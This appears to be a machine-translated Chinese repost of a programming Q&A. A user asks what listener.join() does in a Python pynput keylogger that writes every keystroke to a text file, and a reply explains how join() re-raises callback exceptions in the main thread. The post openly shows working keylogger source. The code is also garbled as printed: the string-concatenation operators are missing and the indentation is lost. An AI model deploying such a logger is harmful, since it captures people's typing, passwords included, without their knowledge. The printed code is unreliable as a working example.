這是一個鍵盤記錄器,在 KeyInput 函式中有,listener.join()
但它是干什么用的?
from pynput import keyboard
def KeyInput():
with keyboard.Listener(on_press=KeyLog) as listener:
# whenever there is a press on a key on the keyboard, it's directed to KeyLog
listener.join()
def KeyLog(key):
if type(key) == keyboard._win32.KeyCode:
K = key.char
# normal characters like letters
else:
if 'cmd' in str(key):
K = str(key).replace('cmd', 'Windows')
else:
K = ' ' str(key) ' '
# keys like ctrl, caps lock, windows, etc
with open('keylogs.txt', 'a') as File:
File.write(K '\n')
File.close()
KeyInput()
KeyLog()
pynput的檔案說:
如果回呼處理程式引發例外,則偵聽器將停止。由于回呼在專用執行緒中運行,因此不會自動重新引發例外。
要收到有關回呼錯誤
Thread.join
的通知,請呼叫偵聽器實體。
“回呼錯誤”是什么意思?
uj5u.com熱心網友回復:
“回呼”是指KeyLog
作為on_press
引數傳遞給keyboard.Listener
.
偵聽器是一個單獨的執行緒,KeyLog
只要有按鍵事件就會呼叫。
如果KeyLog
引發例外(例如,如果“keylogs.txt”檔案無法打開),這是一個“回呼錯誤”;回呼函式中的錯誤。但它發生在偵聽器執行緒中,主執行緒(KeyInput
被呼叫的地方)無法處理例外(例如向用戶顯示無法打開檔案的訊息)。
為了能夠在主執行緒中處理例外,它必須從監聽執行緒傳播。這是做什么listener.join
(這是類的join
方法Thread
,因為Listener
是子類):
如果函式中出現例外KeyLog
,將listener.join()
再次引發,以便在主執行緒中處理。
轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/496635.html